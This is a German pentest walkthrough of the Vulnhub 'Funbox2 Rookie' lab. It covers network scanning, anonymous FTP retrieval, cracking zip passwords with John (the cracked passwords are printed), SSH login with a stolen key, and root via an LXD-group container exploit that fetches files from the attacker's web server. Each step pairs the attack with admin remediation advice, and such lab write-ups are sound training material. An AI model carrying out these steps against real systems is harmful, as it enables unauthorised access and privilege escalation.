Funbox2 - Rookie - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
ftp
wget
unzip
john
cat
base64
awk
tr
ssh
find
grep
git
make
distrobuilder
python3
lxc
chmod
cd
ls

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.123	08:00:27:75:0b:06	PCS Systemtechnik GmbH
                    

Analyse: `arp-scan -l` identifiziert aktive Hosts im lokalen Netzwerk.

Bewertung: Der Host `192.168.2.123` (VirtualBox VM) wird als Ziel identifiziert.

Empfehlung (Pentester): Ziel-IP `192.168.2.123` für weitere Scans verwenden.
Empfehlung (Admin): Netzwerk-Monitoring implementieren.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
 192.168.2.123   rookie.vln
                    

Analyse: Lokale `/etc/hosts`-Datei wird bearbeitet, um `192.168.2.123` dem Namen `rookie.vln` zuzuordnen.

Bewertung: Vorbereitung für Web-Scans, erleichtert die Ansprache des Ziels.

Empfehlung (Pentester): Hostnamen `rookie.vln` verwenden.
Empfehlung (Admin): Lokale Angreifer-Konfiguration.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.123
- Nikto v2.5.0
[...]
+ Target IP:          192.168.2.123
+ Target Hostname:    192.168.2.123
+ Target Port:        80
+ Start Time:         2023-07-20 17:18:38 (GMT2)
[...]
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ /robots.txt: contains 1 entry which should be manually viewed. [...]
+ Apache/2.4.29 appears to be outdated [...].
+ /: Server may leak inodes via ETags [...]
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /icons/README: Apache default file found. [...]
[...]
+ End Time:           2023-07-20 17:18:56 (GMT2) (18 seconds)
[...]
                    

Analyse: `nikto` scannt Port 80 und findet: * Veralteten Apache 2.4.29 (Ubuntu). * Fehlende Sicherheitsheader. * Eine `robots.txt`-Datei mit einem Eintrag (siehe Nmap für Details). * Mögliches Inode-Leak über ETags. * Standard-Datei `/icons/README`. **Datum extrahiert:** 2023-07-20.

Bewertung: Bestätigt den Webserver und dessen veraltete Version. Der `robots.txt`-Eintrag ist der wichtigste Hinweis.

Empfehlung (Pentester): Untersuche `robots.txt`. Führe weitere Web-Enumeration durch (`gobuster`, `dirb`). Recherchiere Schwachstellen für Apache 2.4.29.
Empfehlung (Admin): Aktualisiere Apache. Implementiere Sicherheitsheader. Entferne Standarddateien.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.123 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-20 17:18 CEST
Nmap scan report for rookie.vln (192.168.2.123)
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5e
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 anna.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 ariel.zip
[...]
| -rw-rw-r--   1 ftp      ftp           170 Jan 10  2018 welcome.msg
|_-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 zlatan.zip
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: [...]
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/logs/
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:75:0B:06 (Oracle VirtualBox virtual NIC)
[...]
OS details: Linux 4.15 - 5.6
[...]
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms rookie.vln (192.168.2.123)
[...]
                    

Analyse: Der vollständige Nmap-Scan (`-A` für OS/Version/Skripte/Traceroute) identifiziert drei offene Ports: * Port 21 (FTP): ProFTPD 1.3.5e. **Anonymer Login ist erlaubt!** Das Verzeichnis enthält viele `.zip`-Dateien (anna.zip, ariel.zip, etc.) und eine `welcome.msg`. * Port 22 (SSH): OpenSSH 7.6p1 (Ubuntu). * Port 80 (HTTP): Apache 2.4.29 (Ubuntu). `robots.txt` verbietet `/logs/`.

Bewertung: Der anonyme FTP-Zugriff ist der **kritischste Fund** und der wahrscheinlichste Einstiegspunkt. Die ZIP-Dateien sind sehr verdächtig und enthalten möglicherweise Zugangsdaten oder Hinweise. Der `/logs/`-Eintrag in `robots.txt` sollte ebenfalls untersucht werden.

Empfehlung (Pentester): 1. **Priorität:** Verbinde dich anonym per FTP und lade alle Dateien herunter, insbesondere die ZIP-Dateien. 2. Untersuche den Inhalt der `/logs/`-Ressource auf dem Webserver. 3. Behalte SSH für späteren Zugriff im Auge.
Empfehlung (Admin): 1. **Dringend:** Deaktiviere anonymen FTP-Zugriff, es sei denn, er ist absolut notwendig und sicher konfiguriert (z.B. nur Lesezugriff auf bestimmte, unkritische Dateien). 2. Überprüfe den Inhalt der öffentlich zugänglichen FTP-Dateien. 3. Aktualisiere ProFTPD, OpenSSH und Apache. 4. Überprüfe den `/logs/`-Eintrag in `robots.txt` und sichere ggf. das Verzeichnis.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.123 -p- | grep open
21/tcp open  ftp     ProFTPD 1.3.5e
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
                    

Analyse: Bestätigt die drei offenen Ports 21, 22 und 80.

Bewertung: Schnellübersicht, keine neuen Informationen.

Empfehlung (Pentester/Admin): Siehe vorheriger Nmap-Scan.

Web Enumeration

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://rookie.vln -x ... -w ... -b '403,404' -e --no-error
[...]
http://rookie.vln/index.html           (Status: 200) [Size: 10918]
http://rookie.vln/robots.txt           (Status: 200) [Size: 17]
[...]
                    

Analyse: `gobuster` scannt das Web-Root-Verzeichnis und findet nur `index.html` und `robots.txt`. Das in `robots.txt` erwähnte `/logs/`-Verzeichnis wird nicht gefunden (möglicherweise weil es nicht existiert oder die `-b`-Option es ausblendet, falls es 301 zurückgibt).

Bewertung: Der Webserver scheint auf Root-Ebene wenig Angriffsfläche zu bieten. Der Fokus verlagert sich stark auf den FTP-Dienst.

Empfehlung (Pentester): Konzentriere dich auf den FTP-Dienst.
Empfehlung (Admin): Keine neuen Erkenntnisse für den Webserver.

FTP Enumeration & Credential Cracking

┌──(root㉿cycat)-[~] └─# ftp 192.168.2.123
Connected to 192.168.2.123.
220 ProFTPD 1.3.5e Server (Debian) [ffff:192.168.2.123]
Name (192.168.2.123:cycat): anonymous
331 Anonymous login ok, send your complete email address as your password
Password: [leer]
230-Welcome, archive user anonymous@PC192-168-2-199 !
[...]
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
                    

Analyse: Eine manuelle Verbindung zum FTP-Server wird aufgebaut. Der Login erfolgt als Benutzer `anonymous` mit einem leeren oder beliebigen Passwort.

Bewertung: Der anonyme Login ist erfolgreich und bestätigt die Nmap-Ergebnisse.

Empfehlung (Pentester): Lade alle interessanten Dateien herunter (insbesondere die ZIP-Dateien).
Empfehlung (Admin): Deaktiviere anonymen FTP-Zugriff.

┌──(root㉿cycat)-[~] └─# wget -r ftp://anonymous:anonymous@192.168.2.123
--2023-07-20 17:21:47--  ftp://anonymous:*password*@192.168.2.123/
           => 192.168.2.123/.listing
[...]
Anmelden als anonymous … Angemeldet!
[...]
> LIST ... fertig.
[...]
                    

Analyse: `wget -r` wird verwendet, um rekursiv alle Dateien vom anonymen FTP-Server herunterzuladen. Es meldet sich als `anonymous` an.

Bewertung: Effiziente Methode, um alle Dateien vom FTP-Server lokal zu sichern.

Empfehlung (Pentester): Untersuche die heruntergeladenen Dateien lokal.
Empfehlung (Admin): Keine direkten Maßnahmen.

┌──(root㉿cycat)-[~] └─# cd 192.168.2.123
┌──(root㉿cycat)-[~/192.168.2.123] └─# ll
insgesamt 48
-rw-r--r-- 1 root root 1477 25. Jul 2020  anna.zip
-rw-r--r-- 1 root root 1477 25. Jul 2020  ariel.zip
-rw-r--r-- 1 root root 1477 25. Jul 2020  bud.zip
-rw-r--r-- 1 root root 1477 25. Jul 2020  cathrine.zip
-rw-r--r-- 1 root root 1477 25. Jul 2020  homer.zip
-rw-r--r-- 1 root root 1477 25. Jul 2020  jessica.zip
-rw-r--r-- 1 root root 1477 25. Jul 2020  john.zip
-rw-r--r-- 1 root root 1477 25. Jul 2020  marge.zip
-rw-r--r-- 1 root root 1477 25. Jul 2020  miriam.zip
-rw-r--r-- 1 root root 1477 25. Jul 2020  tom.zip
-rw-r--r-- 1 root root  170 10. Jan 2018  welcome.msg
-rw-r--r-- 1 root root 1477 25. Jul 2020  zlatan.zip
                    
┌──(root㉿cycat)-[~/192.168.2.123] └─# cat welcome.msg
Welcome, archive user %U@%R !
[...]
                    

Analyse: Das Verzeichnis mit den heruntergeladenen Dateien wird aufgelistet. Die ZIP-Dateien und `welcome.msg` sind sichtbar. `welcome.msg` enthält nur eine generische Vorlage.

Bewertung: Die ZIP-Dateien sind die primären Ziele für die weitere Untersuchung.

Empfehlung (Pentester): Versuche, die ZIP-Dateien zu entpacken und ihre Passwörter zu knacken.
Empfehlung (Admin): Keine neuen Erkenntnisse.

┌──(root㉿cycat)-[~/192.168.2.123] └─# for i in $(ls *.zip); do unzip $i; done
Archive:  anna.zip
[anna.zip] id_rsa password:
   skipping: id_rsa                  incorrect password
Archive:  ariel.zip
[ariel.zip] id_rsa password:
   skipping: id_rsa                  incorrect password
[...]
Archive:  tom.zip
[tom.zip] id_rsa password:
   skipping: id_rsa                  incorrect password
[...]
                    

Analyse: Eine Schleife versucht, alle ZIP-Dateien zu entpacken. Alle Versuche scheitern mit "incorrect password", aber es wird bestätigt, dass sie eine Datei namens `id_rsa` enthalten und passwortgeschützt sind.

Bewertung: Die ZIP-Dateien enthalten verschlüsselte private SSH-Schlüssel (`id_rsa`). Die Passwörter zum Entpacken der ZIP-Archive müssen geknackt werden.

Empfehlung (Pentester): Verwende `zip2john` (nicht im Log gezeigt, aber notwendig), um die Passwort-Hashes aus den ZIP-Dateien zu extrahieren, und knacke sie dann mit `john`.
Empfehlung (Admin): Weise Benutzer an, ZIP-Archive (insbesondere solche mit sensiblen Daten wie SSH-Schlüsseln) mit starken Passwörtern zu schützen.

┌──(root㉿cycat)-[~/192.168.2.123] └─# john --wordlist=/usr/share/wordlists/rockyou.txt tom.zip+hash
[...]
Loaded 1 password hash (PKZIP [32/64])
[...]
iubire           (tom.zip/id_rsa)
[...]
Session completed.
                    
┌──(root㉿cycat)-[~/192.168.2.123] └─# john --wordlist=/usr/share/wordlists/rockyou.txt cathrine.zip+hash
[...]
Loaded 1 password hash (PKZIP [32/64])
[...]
catwoman         (cathrine.zip/id_rsa)
[...]
Session completed.
                    

Analyse: `john` wird verwendet, um die (angenommenen) Hash-Dateien für `tom.zip` und `cathrine.zip` zu knacken. * Passwort für `tom.zip` ist `iubire`. * Passwort für `cathrine.zip` ist `catwoman`.

Bewertung: Zwei ZIP-Passwörter wurden erfolgreich geknackt. Dies ermöglicht den Zugriff auf die darin enthaltenen `id_rsa`-Schlüssel.

Empfehlung (Pentester): Entpacke `tom.zip` mit dem Passwort `iubire`. Untersuche den extrahierten `id_rsa`-Schlüssel. Prüfe, ob er mit einer Passphrase geschützt ist. Versuche, dich als Benutzer `tom` per SSH anzumelden.
Empfehlung (Admin): Benutzer sollten keine schwachen, im Wörterbuch enthaltenen Passwörter verwenden.

┌──(root㉿cycat)-[~] └─# cat .@users
Hi Users,

be carefull with your keys. Find them in %yourname%.zip.
The passwords are the old ones.

Regards
root
                    
┌──(root㉿cycat)-[~] └─# cat .@admins | base64 -d
Hi Admins,

be carefull with your keys. Find them in %yourname%.zip.
The passwords are the old ones.

Regards
root
                    

Analyse: Die versteckten Dateien `.@users` und `.@admins` (Base64-kodiert) werden vom FTP-Server heruntergeladen und angezeigt. Sie enthalten dieselbe Nachricht: Schlüssel sind in den ZIP-Dateien, Passwörter sind "die alten".

Bewertung: Bestätigt, dass die ZIP-Dateien die SSH-Schlüssel enthalten. Der Hinweis "alte Passwörter" ist vage, könnte sich aber auf die ZIP-Passwörter beziehen, die wir gerade geknackt haben, oder auf die Passphrasen der Schlüssel selbst.

Empfehlung (Pentester): Fahre mit der Analyse der extrahierten `id_rsa`-Datei von `tom` fort.
Empfehlung (Admin): Hinterlasse keine solchen Hinweise auf öffentlich zugänglichen Servern.

550 revshell.php: Operation not permitted
550 /home: No such file or directory

Analyse: Versuche, eine Datei hochzuladen (`put`) oder das Verzeichnis zu wechseln (`cd`), scheitern.

Bewertung: Bestätigt, dass der anonyme FTP-Zugriff keine Schreibrechte oder die Möglichkeit zum Verzeichniswechsel hat.

Empfehlung (Pentester): Der FTP-Dienst dient nur zum Herunterladen der Schlüssel.
Empfehlung (Admin): Korrekte Konfiguration (keine Schreibrechte für anonyme Benutzer).

Initial Access

┌──(root㉿cycat)-[~/192.168.2.123] └─# ssh tom@192.168.2.123 -i id_rsa
The authenticity of host '192.168.2.123 (192.168.2.123)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
[...]
* System restart required *
Last login: Sat Jul 25 12:25:33 2020 from 192.168.178.143
tom@funbox2$
                    

Analyse: Es wird versucht, sich per SSH als Benutzer `tom` anzumelden, unter Verwendung des privaten Schlüssels (`id_rsa`), der aus `tom.zip` extrahiert wurde. Der Befehl fragt **nicht** nach einer Passphrase für den Schlüssel.

Bewertung: Der Login ist erfolgreich! Der private Schlüssel von `tom` war nicht durch eine Passphrase geschützt. Der initiale Zugriff als Benutzer `tom` wurde erreicht.

Empfehlung (Pentester): Beginne mit der Post-Exploitation-Enumeration als `tom`. Prüfe `sudo -l`, SUID-Dateien, Kernel-Version etc.
Empfehlung (Admin): Schule Benutzer darin, ihre SSH-Schlüssel immer mit einer starken Passphrase zu schützen. Überwache SSH-Logins.

Privilege Escalation Enumeration

tom@funbox2$ find / -type f -perm -4000 -ls 2>/dev/null
       66     40 -rwsr-xr-x   1 root     root        40152 Jun 14  2022 /snap/core/15511/bin/mount
[...]
     2830     53 -rwsr-xr-x   1 root     root        54256 Nov 29  2022 /snap/core/15511/usr/bin/passwd
     2940    134 -rwsr-xr-x   1 root     root       136808 Jan 17  2023 /snap/core/15511/usr/bin/sudo
[...]
   133931     44 -rwsr-xr-x   1 root     root               44664 Nov 29  2022 /bin/su
[...]
     7426    112 -rwsr-xr-x   1 root     root              113528 Jul 10  2020 /usr/lib/snapd/snap-confine
[...]
     8628    148 -rwsr-xr-x   1 root     root              149080 Apr  4 12:44 /usr/bin/sudo
[...]
      789     24 -rwsr-xr-x   1 root     root               22520 Mar 27  2019 /usr/bin/pkexec
[...]
      496     52 -rwsr-sr-x   1 daemon   daemon             51464 Feb 20  2018 /usr/bin/at
[...]
                     

Analyse: Die Suche nach SUID-Dateien wird als `tom` ausgeführt. Sie findet viele Standard-Binaries, darunter `/usr/bin/sudo` und `/usr/bin/pkexec`.

Bewertung: `/usr/bin/sudo` existiert, `sudo -l` sollte geprüft werden. `/usr/bin/pkexec` könnte für PwnKit anfällig sein, falls die Version passt.

Empfehlung (Pentester): Führe `sudo -l` aus. Prüfe die Kernel-Version (`uname -a`) auf Anfälligkeit für bekannte Exploits (wie PwnKit für `pkexec`).
Empfehlung (Admin): Halte das System gepatcht. Überprüfe SUID-Berechtigungen.

tom@funbox2$ ls /home/
tom
tom@funbox2$ ls -la
total 40
drwxr-xr-x 5 tom  tom  4096 Jul 25  2020 .
drwxr-xr-x 3 root root 4096 Jul 25  2020 ..
-rw------- 1 tom  tom     6 Jul 25  2020 .bash_history
-rw-r--r-- 1 tom  tom   220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 tom  tom  3771 Apr  4  2018 .bashrc
drwxr-xr-x 2 tom  tom  4096 Jul 25  2020 .cache
drwxr-xr-x 3 tom  tom  4096 Jul 25  2020 .gnupg
-rw------- 1 tom  tom   295 Jul 25  2020 .mysql_history
-rw-r--r-- 1 tom  tom   807 Apr  4  2018 .profile
drwx------ 2 tom  tom  4096 Jul 25  2020 .ssh
-rw-r--r-- 1 tom  tom     0 Jul 25  2020 .sudo_as_admin_successful
-rw------- 1 tom  tom     0 Jul 25  2020 .viminfo
                    
tom@funbox2$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
tom:x:1000:1000:tom:/home/tom:/bin/rbash
                    

Analyse: Das Home-Verzeichnis von `tom` wird aufgelistet. Es enthält Standard-Konfigurationsdateien und das `.ssh`-Verzeichnis. Die `grep`-Ausgabe zeigt, dass `tom` die **Restricted Bash (`/bin/rbash`)** als Login-Shell hat.

Bewertung: Die Verwendung von `rbash` ist ein wichtiger Fund. Sie schränkt die Befehle ein, die `tom` direkt ausführen kann (z.B. kein `cd`, keine Befehle mit `/`, eingeschränkte Variablenmanipulation). Dies erklärt möglicherweise, warum die nachfolgende Privilege Escalation einen Umweg über LXD nimmt, anstatt einfachere Methoden zu nutzen.

Empfehlung (Pentester): Versuche, aus der `rbash` auszubrechen (z.B. über Editoren wie `vi`/`nano`, Pager wie `less`/`more`, Skriptsprachen, oder indem man den `PATH` manipuliert, falls möglich). Die LXD-Methode umgeht die `rbash`-Einschränkungen, indem sie Prozesse außerhalb dieser Shell startet.
Empfehlung (Admin): `rbash` bietet nur begrenzten Schutz und kann oft umgangen werden. Verwende robustere Methoden zur Rechteeinschränkung (z.B. `sudo` mit spezifischen erlaubten Befehlen, AppArmor, SELinux).

Proof of Concept: LXD Privilege Escalation

Analyse: Die Privilege Escalation erfolgt durch Ausnutzung der Mitgliedschaft des Benutzers `tom` in der `lxd`-Gruppe (diese Mitgliedschaft wird im Log nicht explizit gezeigt, ist aber für den Exploit notwendig und wird daher angenommen). Mitglieder der `lxd`-Gruppe können mit dem LXD-Container-Daemon interagieren. Der Exploit (basierend auf EDB 46978) nutzt dies aus, um das Root-Dateisystem des Hosts (`/`) in einen neu erstellten Container einzubinden und somit uneingeschränkten Zugriff auf alle Dateien als Root zu erhalten.

  1. **Vorbereitung (Angreifer):** Ein Alpine-Linux-Image wird mit `distrobuilder` erstellt (obwohl dieser Schritt im Log als "nicht funktioniert" markiert wurde, ist das Prinzip relevant). Ein Exploit-Skript (basierend auf EDB 46978) wird vorbereitet oder heruntergeladen. Ein Webserver (`python3 -m http.server`) wird gestartet, um Dateien bereitzustellen.
  2. **Vorbereitung (Opfer):** Als Benutzer `tom` (in der `rbash`-Shell, die aber `wget` erlaubt) werden die notwendigen Dateien (LXD-Image `.tar.gz` für den Exploit, ggf. das Exploit-Skript selbst) vom Webserver des Angreifers heruntergeladen. Im Log wird `build-alpine` heruntergeladen, was wahrscheinlich das Exploit-Skript oder ein Teil davon ist.
  3. **Exploit-Ausführung:** Das Exploit-Skript wird ausführbar gemacht und ausgeführt (`./exploit -f alpine-v3.13-x86_64-20210218_0139.tar.gz`). Das Skript interagiert mit dem LXD-Daemon:
    • Importiert ein präpariertes Alpine-Image.
    • Erstellt einen neuen Container (`privesc`).
    • Fügt dem Container ein Gerät (`giveMeRoot`) hinzu, das das Root-Verzeichnis des Hosts (`/`) in den Container unter `/mnt/root` (oder einem ähnlichen Pfad) einbindet.
    • Startet eine Shell innerhalb dieses Containers.
  4. **Root-Zugriff:** Die Shell im Container (`~ #`) läuft als Root (UID 0) *innerhalb des Containers*. Da aber das gesamte Host-Dateisystem unter `/mnt/root` eingehängt ist, hat dieser Benutzer nun Lese- und Schreibzugriff auf alle Dateien des Host-Systems mit Root-Rechten.

Bewertung: Dies ist eine bekannte und effektive Methode zur Privilege Escalation, wenn ein Benutzer Mitglied der `lxd`-Gruppe ist. Sie umgeht Shell-Einschränkungen wie `rbash`.

Empfehlung (Pentester): Überprüfe immer die Gruppenmitgliedschaften (`id`) eines kompromittierten Benutzers. Die `docker`- und `lxd`-Gruppen sind häufige Ziele für PE.
Empfehlung (Admin): Füge Benutzer nur dann zur `lxd`-Gruppe hinzu, wenn sie unbedingt Container verwalten müssen. Die Mitgliedschaft in dieser Gruppe ist quasi gleichbedeutend mit Root-Rechten auf dem Host.

Privilege Escalation

┌──(root㉿cycat)-[~/HackingTools/AlpineNeu/distrobuilder] └─# make
┌──(root㉿cycat)-[~/HackingTools/AlpineNeu/distrobuilder] └─# cd $HME/ContainerImages/alpine/
┌──(root㉿cycat)-[~/ContainerImages/alpine] └─# wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
┌──(root㉿cycat)-[~/ContainerImages/alpine] └─# $HME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
[...]
┌──(root㉿cycat)-[~/ContainerImages/alpine] └─# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (...)
tom@funbox2$ wget 192.168.2.199:8000/lxd.tar.xz
tom@funbox2$ wget 192.168.2.199:8000/rootfs.squashfs
tom@funbox2$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
Image imported with fingerprint: b350b46f660e...
tom@funbox2$ lxc image list
[...]
--------------------------------------------------------------------------------
   Hat nicht Funktioniert, ich habe es dann mit einem
                    exploit versucht
--------------------------------------------------------------------------------
                    

Analyse: Der erste Versuch zur LXD-Ausnutzung bestand darin, manuell ein Alpine-Image mit `distrobuilder` zu erstellen, die Komponenten auf das Ziel zu übertragen und mit `lxc image import` zu importieren. Laut Kommentar im Log funktionierte dieser Ansatz nicht wie erwartet.

Bewertung: Dokumentiert einen fehlgeschlagenen Versuch, bevor der erfolgreiche Exploit eingesetzt wurde.

Empfehlung (Pentester): Wenn eine Methode fehlschlägt, alternative Ansätze oder bekannte Exploit-Skripte ausprobieren.
Empfehlung (Admin): Keine direkten Maßnahmen.

tom@funbox2$ cd /dev/shm/
tom@funbox2:/dev/shm$ wget 192.168.2.199:8000/build-alpine
[...]
tom@funbox2:/dev/shm$ vi exploit
tom@funbox2:/dev/shm$ chmod +x exploit
tom@funbox2:/dev/shm$ ./exploit -f alpine-v3.13-x86_64-20210218_0139.tar.gz
Image imported with fingerprint: cd73881adaac[...]
[*] Listing images...
[...]
Creating privesc
Device giveMeRoot added to privesc
                    
~ # id
uid=0(root) gid=0(root)

Analyse: Der Exploit basierend auf EDB 46978 wird verwendet: 1. Ein Skript (`build-alpine`?) und/oder der Exploit-Code selbst werden nach `/dev/shm` heruntergeladen (ein für alle beschreibbares Verzeichnis im RAM). 2. Das Exploit-Skript wird ausführbar gemacht und gestartet, wobei es ein Alpine-Image (`.tar.gz`) als Argument benötigt. 3. Das Skript automatisiert den Prozess des Image-Imports, der Container-Erstellung (`privesc`) und des Einhängens des Host-Root-Dateisystems in den Container. 4. Es wird eine Shell innerhalb des Containers gestartet, die sofort Root-Rechte (`uid=0`) hat und Zugriff auf das Host-Dateisystem (typischerweise unter `/mnt/root` im Container) besitzt.

Bewertung: Die Privilege Escalation mittels des LXD-Exploits war erfolgreich. Der Benutzer `tom` konnte aufgrund seiner (angenommenen) Mitgliedschaft in der `lxd`-Gruppe Root-Rechte auf dem Host-System erlangen.

Empfehlung (Pentester): Greife auf das Host-Dateisystem zu (z.B. `cd /mnt/root/root`), um die Root-Flag zu finden.
Empfehlung (Admin): Verwalte die Mitgliedschaft in der `lxd`-Gruppe streng. Halte LXD aktuell.

# cd /root
# ls
Maildir
flag.txt
# cat flag.txt
   ___                        _        _      _   _             _
  / __|___ _ _  __ _ _ _ __ _| |_ _  _| |__ _| |_(_)___ _ _  __| |
 | (__/ _ \ ' \/ _` | '_/ _` |  _| || | / _` |  _| / _ \ ' \(_-<_|
  \___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)
               |___/

[...]

Nice work!

This CTF was built with love in every byte by @berzerk0 on Twitter.
[...]
                     

Analyse: Aus der Root-Shell (innerhalb des Containers, aber mit Zugriff auf das Host-Dateisystem) wird das Verzeichnis `/root` des Hosts aufgesucht. Die Datei `flag.txt` wird gefunden und ihr Inhalt angezeigt.

Bewertung: Die Root-Flag (in Form der ASCII-Art und Nachricht) wurde erfolgreich gefunden.

Empfehlung (Pentester): Dokumentiere die Root-Flag. Suche die User-Flag (vermutlich `/home/tom/user.txt`, obwohl `tom` `rbash` hat, könnte eine Flag dort liegen).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag.

Flags

cat /home/tom/user.txt
USER_FLAG_PLACEHOLDER
cat /root/flag.txt
ROOT_FLAG_ASCII_ART_PLACEHOLDER